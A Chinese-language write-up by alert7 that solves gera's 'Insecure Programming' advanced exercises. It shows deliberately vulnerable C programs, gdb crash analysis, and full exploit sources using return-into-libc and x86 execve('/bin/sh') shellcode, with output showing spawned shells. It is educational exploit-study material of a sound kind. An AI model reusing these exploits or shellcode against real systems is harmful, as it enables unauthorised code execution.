非安全编程演示之高级篇 (阅览 次)

非安全编程演示之高级篇


Author: alert7
Email: alert7@whitecell.org
Homepage:http://www.whitecell.org


★★ 三 高级篇

测试环境 redhat 6.2 glibc 2.1.3


★ 3.1 演示一

/* e1.c *
/* specially crafted to feed your brain by gera@core-sdi.com */

/* jumpy vfprintf, Batman! */

int main(int argv,char **argc) {
/* Can you do it changing the stack? */
/* Can you do it without changing it? */
printf(argc[1]);
while(1);
}
请参考拙作<<利用格式化串覆盖*printf()系列函数本身的返回地址>>


★ 3.2 演示二

/* e2.c *
/* specially crafted to feed your brain by gera@core-sdi.com */

/* Now, your misson is to make abo1 act like this other program:
*
char buf[100];

while (1) {
scanf("%100s",buf);
system(buf);
}

* But, you cannot execute code in stack.
*/

int main(int argv,char **argc) {
char buf[256];
strcpy(buf,argc[1]);
}
唯一需要满足的条件是stack是不能运行的。

[alert7@redhat62 alert7]$ ./e2 `perl -e 'print "a"x264'`
Segmentation fault (core dumped)
[alert7@redhat62 alert7]$ gdb e2 core -q
Core was generated by `./e2 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /lib/libc.so.6...done.
Reading symbols from /lib/ld-linux.so.2...done.
#0 0x61616161 in ?? ()

/* exp_e2.c
* alert7 exploit for e2
*/
#include <stdio.h>

#define RET_POSITION 260
#define NOP 0x90
#define BUFADDR 0xbffff968
#define SYSTEM 0x4005aae0
char shell[]="/bin/sh"; /* .string \"/bin/sh\" */

int main(int argc,char **argv)
{
char buff[1024],*ptr;
int retaddr;
int i;

retaddr=SYSTEM;
if(argc>1)
retaddr=SYSTEM+atoi(argv[1]);

bzero(buff,1024);
for(i=0;i<300;i++)
buff[i]=NOP;
*((long *)&(buff[RET_POSITION-4]))=BUFADDR+4*3+strlen(shell);
*((long *)&(buff[RET_POSITION]))=retaddr;
*((long *)&(buff[RET_POSITION+4]))=0xaabbccdd;//当system返回时候的eip
*((long *)&(buff[RET_POSITION+8]))=BUFADDR+RET_POSITION+4*3;
ptr=buff+RET_POSITION+12;
strcpy(ptr,shell);
printf("Jump to 0x%08x\n",retaddr);

execl("./e2","e2",buff,0);
}
[alert7@redhat]$ gcc -o exp_e2 exp_e2.c
[alert7@redhat]$ ./exp_e2
Jump to 0x4005aae0
bash$ id
uid=501(alert7) gid=501(alert7) groups=501(alert7)
bash$ exit
exit
Segmentation fault (core dumped)

内存增长方向
------>
| xxxxxx | EBP | EIP | EIP1 | 参数指针 | /bin/sh |
| 260个bytes | |
|
|-->main执行ret后的esp,ebp值为EBP
EIP1为system调用后的返回地址（当然，假如system返回的话）
参数指针指向/bin/sh
这里我们使EIP1为0xaabbccdd，所以/bin/sh一返回就在0xaabbccdd coredump了。
也就是说只要我们精心构造，就可以构造一个函数调用链。比如我们需要调用
setuid(0)->system("/bin/sh")->exit(0);

该exploit可以成功，很大程度上是因为SYSTEM的地址不包含0，也就是stack不
可执行补丁没有使library库mmap到内存低端。

更多的击败不可执行stack补丁可参考：
<<绕过Linux不可执行堆栈保护的方法浅析>> by waring3 <waring3@nsfocus.com>
和最近p58上的
<<The advanced return-into-lib(c) exploits>> by Nergal <nergal@owl.openwall.com>


★ 3.3 演示三

/* e3.c *
* specially crafted to feed your brain by gera@core-sdi.com */

/* are you an enviromental threat */

char buf[256];

int main(int argv,char **argc) {
strcpy(buf,argc[1]);
setenv("ABO",argc[2],1);
while(1);
}
[alert7@redhat]$ uname -a
Linux redhat 2.2.14-5.0 #1 Tue Mar 7 21:07:39 EST 2000 i686 unknown
[alert7@redhat]$ gcc -o e3 e3.c -static //静态编译的时候才会出现这样的情况
[alert7@redhat]$ ./e3 `perl -e 'print "a"x267'` a
Segmentation fault (core dumped)
[alert7@redhat]$ gdb e3 core -q
Core was generated by `./e3 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaa'.
Program terminated with signal 11, Segmentation fault.
#0 0x616161 in ?? ()
(gdb) quit
[alert7@redhat]$ ./e3 `perl -e 'print "a"x268'` a
Segmentation fault (core dumped)
[alert7@redhat]$ gdb e3 core -q
Core was generated by `./e3 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaa'.
Program terminated with signal 11, Segmentation fault.
#0 0x61616161 in ?? ()
(gdb) bt
#0 0x61616161 in ?? ()
#1 0x804ac85 in __libc_realloc (oldmem=0x0, bytes=88) at malloc.c:3209
#2 0x804d18b in realloc_hook_ini (ptr=0x0, sz=88, caller=0x804857c)
at malloc.c:1770
#3 0x804abb3 in __libc_realloc (oldmem=0x0, bytes=88) at malloc.c:3196
#4 0x804857c in __add_to_environ (name=0x80718e8 "ABO", value=0xbffffcc8 "a",
combined=0x0, replace=1) at ../sysdeps/generic/setenv.c:145
#5 0x804882b in __setenv (name=0x80718e8 "ABO", value=0xbffffcc8 "a",
replace=1) at ../sysdeps/generic/setenv.c:263
#6 0x80481ce in main ()
#7 0x804831b in __libc_start_main (main=0x80481a0 <main>, argc=3,
argv=0xbffffb24, init=0x80480b4 <_init>, fini=0x80718ac <_fini>,
rtld_fini=0, stack_end=0xbffffb1c) at ../sysdeps/generic/libc-start.c:92

根据上面的条件，我们可以完全不必理会setenv()内部一系列到底发生了什么。只需要知道
在buf+264的地方放入一个值，该值就会变成EIP。

/* exp_e3.c
* alert7 exploit for static e3
*/
#include <stdio.h>

#define RET_POSITION 264
#define NOP 0x90
#define BUFADDR 0x807bf60//0xaabbccdd
char shellcode[]=
"\xeb\x1f" /* jmp 0x1f */
"\x5e" /* popl %esi */
"\x89\x76\x08" /* movl %esi,0x8(%esi) */
"\x31\xc0" /* xorl %eax,%eax */
"\x88\x46\x07" /* movb %eax,0x7(%esi) */
"\x89\x46\x0c" /* movl %eax,0xc(%esi) */
"\xb0\x0b" /* movb $0xb,%al */
"\x89\xf3" /* movl %esi,%ebx */
"\x8d\x4e\x08" /* leal 0x8(%esi),%ecx */
"\x8d\x56\x0c" /* leal 0xc(%esi),%edx */
"\xcd\x80" /* int $0x80 */
"\x31\xdb" /* xorl %ebx,%ebx */
"\x89\xd8" /* movl %ebx,%eax */
"\x40" /* inc %eax */
"\xcd\x80" /* int $0x80 */
"\xe8\xdc\xff\xff\xff" /* call -0x24 */
"/bin/sh"; /* .string \"/bin/sh\" */

int main(int argc,char **argv)
{
char buff[1024],*ptr;
int retaddr;
int i;

retaddr=BUFADDR;
if(argc>1)
retaddr=BUFADDR+atoi(argv[1]);

bzero(buff,1024);
for(i=0;i<1024;i+=4)
*((long *)&(buff[i]))=retaddr;

for(i=0;i<100;i++)
buff[i]=NOP;

ptr=buff+50;
for(i=0;i<strlen(shellcode);i++)
*(ptr++)=shellcode[i];
//现在buff的内容为
//NNNNNNNNNNNNNNNSSSSSSSSSSSSSSSAAAAAAAAAAAAAAAAAAA\0
printf("Jump to 0x%08x\n",retaddr);

execl("./e3","e3",buff,0);
}
[alert7@redhat62 alert7]$ gcc -o exp_e3 exp_e3.c
[alert7@redhat62 alert7]$ ./exp_e3
Jump to 0x0807bf60
bash$ id
uid=502(alert7) gid=502(alert7) groups=502(alert7)
成功:)

shellcode是放在heap里的，所以可能可以绕过一些不可执行stack的保护。
需猜测shellcode在heap中的地址，也失去了一些通用性。

跟踪了半天，发现还是静态编译的__libc_malloc()的问题

0x8049ff5 <__libc_malloc+89>: mov 0x807c068,%eax
0x8049ffa <__libc_malloc+94>: test %eax,%eax
0x8049ffc <__libc_malloc+96>: je 0x804a010 <__libc_malloc+116>
0x8049ffe <__libc_malloc+98>: push $0x0
0x804a000 <__libc_malloc+100>: call *%eax

(gdb) i reg eax
eax 0x61616161 1633771873
(gdb) x 0x807c068
0x807c068 <__libc_internal_tsd_get>: 0x61616161
(gdb) p & __libc_internal_tsd_get
$1 = (void *(**)()) 0x807c068
(gdb) p __libc_internal_tsd_get
$2 = (void *(*)()) 0x61616161

我们的数据覆盖到了__libc_internal_tsd_get()函数地址，使
__libc_internal_tsd_get()指向0x61616161.所以Segmentation fault
不知道__libc_internal_tsd_get()在这里有何作用？暂时我也不知道，郁闷~


★ 3.4 演示四

/* e4.c *
* specially crafted to feed your brain by gera@core-sdi.com */

/* %what the hell? */

char buf[256];

int main(int argv,char **argc) {
strcpy(buf,argc[1]);
printf("live at 100%!");
while(1);
}

[alert7@redhat]$ gcc -o e4 e4.c -static //静态编译的时候才会出现这样的情况
[alert7@redhat]$ ./e4 `perl -e 'print "a"x1408'`
[alert7@redhat]$ ./e4 `perl -e 'print "a"x1409'`
Segmentation fault (core dumped)
[alert7@redhat]$ gdb -q e4 core
Core was generated by `./e4 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'.
Program terminated with signal 11, Segmentation fault.
#0 0x61616161 in ?? ()
(gdb) bt
#0 0x61616161 in ?? ()
#1 0x8048681 in printf (format=0x8071548 "live at 100%!") at printf.c:31
#2 0x80481c3 in main ()
#3 0x804831b in __libc_start_main (main=0x80481a0 <main>, argc=2,
argv=0xbffff6a4, init=0x80480b4 <_init>, fini=0x807150c <_fini>,
rtld_fini=0, stack_end=0xbffff69c) at ../sysdeps/generic/libc-start.c:92
[alert7@redhat62 alert7]$ ./e4 `perl -e 'print "a"x518'``perl -e 'print "b"x891'`
Segmentation fault (core dumped)
[alert7@redhat62 alert7]$ gdb e4 core -q
Core was generated by `./e4 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'.
Program terminated with signal 11, Segmentation fault.
#0 0x62626161 in ?? ()
[alert7@redhat62 alert7]$ ./e4 `perl -e 'print "a"x516'``perl -e 'print "b"x893'`
Segmentation fault (core dumped)
[alert7@redhat62 alert7]$ gdb e4 core -q
Core was generated by `./e4 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'.
Program terminated with signal 11, Segmentation fault.
#0 0x62626262 in ?? ()

根据上面的条件，我们可以完全不必理会printf()内部到底发生了什么。只需要知道
在buf+516的地方放入一个值，该值就会变成EIP。

/* exp_e4.c
* alert7 exploit for static e4
*/
#include <stdio.h>

#define RET_POSITION 516
#define NOP 0x90
#define BUFADDR 0x807bbc0//0xaabbccdd
char shellcode[]=
"\xeb\x1f" /* jmp 0x1f */
"\x5e" /* popl %esi */
"\x89\x76\x08" /* movl %esi,0x8(%esi) */
"\x31\xc0" /* xorl %eax,%eax */
"\x88\x46\x07" /* movb %eax,0x7(%esi) */
"\x89\x46\x0c" /* movl %eax,0xc(%esi) */
"\xb0\x0b" /* movb $0xb,%al */
"\x89\xf3" /* movl %esi,%ebx */
"\x8d\x4e\x08" /* leal 0x8(%esi),%ecx */
"\x8d\x56\x0c" /* leal 0xc(%esi),%edx */
"\xcd\x80" /* int $0x80 */
"\x31\xdb" /* xorl %ebx,%ebx */
"\x89\xd8" /* movl %ebx,%eax */
"\x40" /* inc %eax */
"\xcd\x80" /* int $0x80 */
"\xe8\xdc\xff\xff\xff" /* call -0x24 */
"/bin/sh"; /* .string \"/bin/sh\" */

int main(int argc,char **argv)
{
char buff[2048],*ptr;
int retaddr;
int i;

retaddr=BUFADDR;
if(argc>1)
retaddr=BUFADDR+atoi(argv[1]);

bzero(buff,2048);
for(i=0;i<2000;i++)
buff[i]=NOP;
*((long *)&(buff[RET_POSITION]))=retaddr;

ptr=buff+50;
for(i=0;i<strlen(shellcode);i++)
*(ptr++)=shellcode[i];
printf("Jump to 0x%08x\n",retaddr);

execl("./e4","e4",buff,0);
}

[alert7@redhat62 alert7]$ ./exp_e4
Jump to 0x0807bbc0
bash$ id
uid=502(alert7) gid=502(alert7) groups=502(alert7)
成功:)
通用性没有，需猜测BUFADDR地址。

程序问题所在：

0x8050101 <_IO_vfprintf+9361>: mov 0x807bd40(,%edx,4),%edx
0x8050108 <_IO_vfprintf+9368>: test %edx,%edx //此时edx=0x62626262
0x805010a <_IO_vfprintf+9370>: je 0x8050130 <_IO_vfprintf+9408>
0x805010c <_IO_vfprintf+9372>: add $0x28,%eax
0x805010f <_IO_vfprintf+9375>: push %eax
0x8050110 <_IO_vfprintf+9376>: push $0x1
0x8050112 <_IO_vfprintf+9378>: mov 0xfffffab4(%ebp),%ecx
0x8050118 <_IO_vfprintf+9384>: push %ecx
0x8050119 <_IO_vfprintf+9385>: call *%edx //这里出了问题
(gdb) x 0x807bd40
0x807bd40 <__printf_arginfo_table>: 0x61616161

只要是printf("%X");,该X为printf认识不到的或者说是自定义的格式，就会利用
__printf_arginfo_table调用相应的函数来解释该格式，而__printf_arginfo_table
数组被我们数据覆盖，所以我们可以得到控制权。
这是我的粗略的理解，具体的还需要详细的分析printf函数的执行过程。
错误之处还请斧正。

★ 3.5 演示五

/* e5.c *
* specially crafted to feed your brain by gera@core-sdi.com */

/* is this possible? */

char buf[256];

int main(int argv,char **argc) {
strcpy(buf,argc[1]);
perror(argc[2]);
while(1);
}

静态编译时
(gdb) p &buf
$1 = (<data variable, no debug info> *) 0x807bc00

[alert7@redhat]$ gcc -o e5 e5.c -static
[alert7@redhat]$ ./e5 `perl -e 'print "a"x255'` a
a: Success

[alert7@redhat]$ ./e5 `perl -e 'print "a"x256'` a
Segmentation fault (core dumped)
[alert7@redhat]$ gdb e5 core -q
Core was generated by `./e5 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'.
Program terminated with signal 11, Segmentation fault.
#0 chunk_alloc (ar_ptr=0x807a000, nb=48) at malloc.c:2762
2762 malloc.c: No such file or directory.
(gdb) bt
#0 chunk_alloc (ar_ptr=0x807a000, nb=48) at malloc.c:2762
#1 0x8049cf4 in __libc_malloc (bytes=44) at malloc.c:2696
#2 0x804e74a in _nl_make_l10nflist (l10nfile_list=0x807b434, dirlist=0x8071795 "/usr/share/locale", dirlist_len=18, mask=0,
language=0xbffff628 "en_US", territory=0x0, codeset=0x0, normalized_codeset=0x0, modifier=0x0, special=0x0, sponsor=0x0,
revision=0x0, filename=0xbffff630 "LC_MESSAGES/libc.mo", do_allocate=0) at l10nflist.c:201
#3 0x804dd30 in _nl_find_domain (dirname=0x8071795 "/usr/share/locale", locale=0xbffff628 "en_US",
domainname=0xbffff630 "LC_MESSAGES/libc.mo") at finddomain.c:113
#4 0x804d8b0 in __dcgettext (domainname=0x8071786 "libc", msgid=0x80727d4 "Success", category=5) at dcgettext.c:395
#5 0x804d06d in __strerror_r (errnum=0, buf=0xbffff6cc "", buflen=1024) at ../sysdeps/generic/_strerror.c:68
#6 0x80486ae in perror (s=0xbffffcc8 "a") at perror.c:38
#7 0x80481c7 in main ()
#8 0x804831b in __libc_start_main (main=0x80481a0 <main>, argc=3, argv=0xbffffb24, init=0x80480b4 <_init>,
fini=0x807155c <_fini>, rtld_fini=0, stack_end=0xbffffb1c) at ../sysdeps/generic/libc-start.c:92
(gdb)
[alert7@redhat]$ ./e5 `perl -e 'print "a"x257'` a
Segmentation fault (core dumped)
[alert7@redhat]$ gdb e5 core -q
Core was generated by `./e5 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'.
Program terminated with signal 11, Segmentation fault.
#0 chunk_alloc (ar_ptr=0x8070061, nb=48) at malloc.c:2762
2762 malloc.c: No such file or directory.
(gdb) quit
[alert7@redhat]$ ./e5 `perl -e 'print "a"x258'` a
Segmentation fault (core dumped)
[alert7@redhat]$ gdb e5 core -q
Core was generated by `./e5 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'.
Program terminated with signal 11, Segmentation fault.
#0 chunk_alloc (ar_ptr=0x8006161, nb=48) at malloc.c:2752
2752 malloc.c: No such file or directory.
(gdb) quit
[alert7@redhat]$ ./e5 `perl -e 'print "a"x259'` a
Segmentation fault (core dumped)
[alert7@redhat]$ gdb e5 core -q
Core was generated by `./e5 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'.
Program terminated with signal 11, Segmentation fault.
#0 chunk_alloc (ar_ptr=0x616161, nb=48) at malloc.c:2752
2752 malloc.c: No such file or directory.
(gdb) quit
[alert7@redhat]$ ./e5 `perl -e 'print "a"x260'` a
Segmentation fault (core dumped)
[alert7@redhat]$ gdb e5 core -q
Core was generated by `./e5 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'.
Program terminated with signal 11, Segmentation fault.
#0 chunk_alloc (ar_ptr=0x61616161, nb=48) at malloc.c:2752
2752 malloc.c: No such file or directory.

./e5 `perl -e 'print "a"x260'` a ---./e5 `perl -e 'print "a"x264'` a都是上面这种情况

[alert7@redhat]$ ./e5 `perl -e 'print "a"x265'` a
Segmentation fault (core dumped)
[alert7@redhat]$ gdb e5 core -q
Core was generated by `./e5 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'.
Program terminated with signal 11, Segmentation fault.
#0 0x61 in ?? ()
(gdb) quit
[alert7@redhat]$ ./e5 `perl -e 'print "a"x266'` a
Segmentation fault (core dumped)
[alert7@redhat]$ gdb e5 core -q
Core was generated by `./e5 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'.
Program terminated with signal 11, Segmentation fault.
#0 0x6161 in ?? ()
(gdb) quit
[alert7@redhat]$ ./e5 `perl -e 'print "a"x267'` a
Segmentation fault (core dumped)
[alert7@redhat]$ gdb e5 core -q
Core was generated by `./e5 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'.
Program terminated with signal 11, Segmentation fault.
#0 0x616161 in ?? ()
(gdb) quit
[alert7@redhat]$ ./e5 `perl -e 'print "a"x268'` a
Segmentation fault (core dumped)
[alert7@redhat]$ gdb e5 core -q
Core was generated by `./e5 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'.
Program terminated with signal 11, Segmentation fault.
#0 0x61616161 in ?? ()
(gdb) bt
#0 0x61616161 in ?? ()
#1 0x804e74a in _nl_make_l10nflist (l10nfile_list=0x807b434, dirlist=0x8071795 "/usr/share/locale", dirlist_len=18, mask=0,
language=0xbffff628 "en_US", territory=0x0, codeset=0x0, normalized_codeset=0x0, modifier=0x0, special=0x0, sponsor=0x0,
revision=0x0, filename=0xbffff630 "LC_MESSAGES/libc.mo", do_allocate=0) at l10nflist.c:201
#2 0x804dd30 in _nl_find_domain (dirname=0x8071795 "/usr/share/locale", locale=0xbffff628 "en_US",
domainname=0xbffff630 "LC_MESSAGES/libc.mo") at finddomain.c:113
#3 0x804d8b0 in __dcgettext (domainname=0x8071786 "libc", msgid=0x80727d4 "Success", category=5) at dcgettext.c:395
#4 0x804d06d in __strerror_r (errnum=0, buf=0xbffff6cc "", buflen=1024) at ../sysdeps/generic/_strerror.c:68
#5 0x80486ae in perror (s=0xbffffcc8 "a") at perror.c:38
#6 0x80481c7 in main ()
#7 0x804831b in __libc_start_main (main=0x80481a0 <main>, argc=3, argv=0xbffffb24, init=0x80480b4 <_init>,
fini=0x807155c <_fini>, rtld_fini=0, stack_end=0xbffffb1c) at ../sysdeps/generic/libc-start.c:92

./e5 `perl -e 'print "a"x268'` a---./e5 `perl -e 'print "a"x364'` a都是如上

[alert7@redhat]$ ./e5 `perl -e 'print "a"x365'` a
Segmentation fault (core dumped)
[alert7@redhat]$ gdb e5 core -q
Core was generated by `./e5 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'.
Program terminated with signal 11, Segmentation fault.
#0 0x804d683 in __dcgettext (domainname=0x8071786 "libc", msgid=0x80727d4 "Success", category=5) at dcgettext.c:282
282 dcgettext.c: No such file or directory.
(gdb) x/i 0x804d683
0x804d683 <__dcgettext+67>: pushl 0x4(%eax)
(gdb) i reg eax
eax 0x61 97
(gdb) quit
[alert7@redhat]$ ./e5 `perl -e 'print "a"x368'` a //这以后都是老样子
Segmentation fault (core dumped)
[alert7@redhat]$ gdb e5 core -q
Core was generated by `./e5 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'.
Program terminated with signal 11, Segmentation fault.
#0 0x804d683 in __dcgettext (domainname=0x8071786 "libc", msgid=0x80727d4 "Success", category=5) at dcgettext.c:282
282 dcgettext.c: No such file or directory.
(gdb) x/i 0x804d683
0x804d683 <__dcgettext+67>: pushl 0x4(%eax)
(gdb) i reg eax
eax 0x61616161 1633771873
(gdb) bt
#0 0x804d683 in __dcgettext (domainname=0x8071786 "libc", msgid=0x80727d4 "Success", category=5) at dcgettext.c:282
#1 0x804d06d in __strerror_r (errnum=0, buf=0xbffff65c "", buflen=1024) at ../sysdeps/generic/_strerror.c:68
#2 0x80486ae in perror (s=0xbffffcc8 "a") at perror.c:38
#3 0x80481c7 in main ()
#4 0x804831b in __libc_start_main (main=0x80481a0 <main>, argc=3, argv=0xbffffab4, init=0x80480b4 <_init>,
fini=0x807155c <_fini>, rtld_fini=0, stack_end=0xbffffaac) at ../sysdeps/generic/libc-start.c:92

argv[1]长度限制在268----364
buff+264的地方就是eip

/* exp_e5.c
* alert7 exploit for static e5
*/
#include <stdio.h>
#define RET_POSITION 264
#define NOP 0x90
#define BUFADDR 0x807bc00//0xaabbccdd
char shellcode[]=
"\xeb\x1f" /* jmp 0x1f */
"\x5e" /* popl %esi */
"\x89\x76\x08" /* movl %esi,0x8(%esi) */
"\x31\xc0" /* xorl %eax,%eax */
"\x88\x46\x07" /* movb %eax,0x7(%esi) */
"\x89\x46\x0c" /* movl %eax,0xc(%esi) */
"\xb0\x0b" /* movb $0xb,%al */
"\x89\xf3" /* movl %esi,%ebx */
"\x8d\x4e\x08" /* leal 0x8(%esi),%ecx */
"\x8d\x56\x0c" /* leal 0xc(%esi),%edx */
"\xcd\x80" /* int $0x80 */
"\x31\xdb" /* xorl %ebx,%ebx */
"\x89\xd8" /* movl %ebx,%eax */
"\x40" /* inc %eax */
"\xcd\x80" /* int $0x80 */
"\xe8\xdc\xff\xff\xff" /* call -0x24 */
"/bin/sh"; /* .string \"/bin/sh\" */

int main(int argc,char **argv)
{
char buff[300],*ptr;
int retaddr;
int i;

retaddr=BUFADDR;
if(argc>1)
retaddr=BUFADDR+atoi(argv[1]);

bzero(buff,300);
for(i=0;i<299;i++)
buff[i]=NOP;
*((long *)&(buff[RET_POSITION]))=retaddr;

ptr=buff+50;
for(i=0;i<strlen(shellcode);i++)
*(ptr++)=shellcode[i];
printf("Jump to 0x%08x\n",retaddr);

execl("./e5","e5",buff,"a",0);
}
[alert7@redhat62 alert7]$ ./exp_e5
Jump to 0x0807bc00 //地址中有\0 , :(
Segmentation fault (core dumped)
[alert7@redhat62 alert7]$ ./exp_e5 1
Jump to 0x0807bc01
bash$ id
uid=502(alert7) gid=502(alert7) groups=502(alert7)
成功:)


同样跟踪了下程序

(gdb) disass __libc_malloc
Dump of assembler code for function __libc_malloc:
...
0x8049c95 <__libc_malloc+89>: mov 0x807bd08,%eax
0x8049c9a <__libc_malloc+94>: test %eax,%eax
0x8049c9c <__libc_malloc+96>: je 0x8049cb0 <__libc_malloc+116>
0x8049c9e <__libc_malloc+98>: push $0x0
0x8049ca0 <__libc_malloc+100>: call *%eax
...
(gdb) i reg eax
eax 0x61616161 1633771873
(gdb) x 0x807bd08
0x807bd08 <__libc_internal_tsd_get>: 0x61616161
(gdb) p & __libc_internal_tsd_get
$2 = (void *(**)()) 0x807bd08
(gdb) p __libc_internal_tsd_get
$3 = (void *(*)()) 0x61616161

出现的问题同3.3


★ 小结：

gera就象是老师，出了这份试卷，而我则是学生做了这份试卷，所以
错误之处还请各位老师指正。或者探讨什么的都可以。有则改之，无则嘉勉。

再次感谢gera@core-sdi.com为我们出的这份试卷
http://community.core-sdi.com/~gera/InsecureProgramming/InsecureProgramming.tar.gz

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